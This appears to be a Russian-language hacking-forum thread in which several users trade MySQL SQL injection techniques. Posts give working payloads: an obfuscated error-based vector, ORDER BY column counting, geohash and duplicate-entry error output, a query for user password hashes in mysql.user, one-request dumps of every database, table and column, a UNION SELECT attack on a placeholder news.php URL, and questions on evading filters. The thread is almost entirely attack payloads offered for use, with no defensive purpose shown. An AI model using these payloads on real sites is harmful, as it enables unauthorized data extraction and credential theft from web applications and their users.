(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(67),CHAR(110),CHAR(98),CHAR(78),CHAR(52),CHAR(89),CHAR(119),CHAR(69)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Хочу добавить про подбор колонок в 1 запрос. В случае если sqli выводит ошибки и пэйлоад вида Code: *+order+by+100+--+ выдаст нам ошибку Code: Query failed: Unknown column '100' in 'order clause' То сразу смело вставляем такой пэйлоад Code: +order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+ В ответ получим Code: Query failed: Unknown column '*' in 'order clause' Где '*'-1='колличество наших колонок'.
Новый ветор вывода через ошибку в MySQL >= 5.7.5 Вывод производится через функции ST_LatFromGeoHash(), ST_LongFromGeoHash(), ST_PointFromGeoHash(). Подробнее
начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string. Code: SELECT user, authentication_string FROM mysql.user;
Товарищ profexer сделал очень крутую вещь - ускоритель MySQL. Вывод данных в один запрос: SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5) Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже. Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!) SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(information_schema.columns)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@p),5)) 0x0D0A -> перевод строки, смотреть в "Исходный код страницы" Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно. Ну далее частные случаи: Список бд(без пробелов!) SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(information_schema.schemata)WHERE@p:=CONCAT(@p,0x2C,schema_name)),@p),5)) Список всех бд, таблиц(без пробелов!) SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(information_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A,table_schema,0x3a,table_name)),@p),5)) Список всех таблиц, колонок текущей бд(без пробелов!) SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM((select*from(information_schema.columns)where(table_schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@p),5)) Список таблиц текущей бд(без пробелов!) SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM((select*from(information_schema.tables)where(table_schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table_name)),@p),5)) Список колонок таблицы users(без пробелов!) SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM((select*from(information_schema.columns)where(table_name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,column_name)),@p),5)) ps помните, таблица users и в другой бд может быть, тогда добавить условие в where И напоследок значения с колонок(без пробелов!) SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{COLUMN2})),@p),5))
Может есть софт который проверяет параметры страницы на инъекцию? а то бывает что данные не выводятся, или ещё что-то такое.
интересует вот что INFORMATION_SCHEMA.TABLES открывается вот таким способом http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 -- если кроме INFORMATION_SCHEMA на сайте есть bd1 db2 как их открыть?
Приветствую! А подскажите как правильно преобразоватть этот запрос с оператором LIMIT, что бы мне выводилось, к примеру, из COLUMN1,COLUMN2 только первые 5к записей, а не все сразу.
Если вдруг кому будет интересно, немного о том почему вообще работает метод вывода данных в тексте ошибки Duplicate entry '[data]' for key 'group_key' вынес в отдельную статью: Error-Based SQL injection в MySQL И максимально сокращенный вектор этого метода выглядит теперь вот так: Code: SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID([YOUR_QUERY], FLOOR(RAND(33)*2), 64)
Вопрос) Если в инъекции нельзя заюзать точку и тем самым не могу сделать например [...] SELECT * FROM INFORMATION_SCHEMA.TABLES [...] пробовал заюзать CHAR() но почему-то в названии таблицы не пашет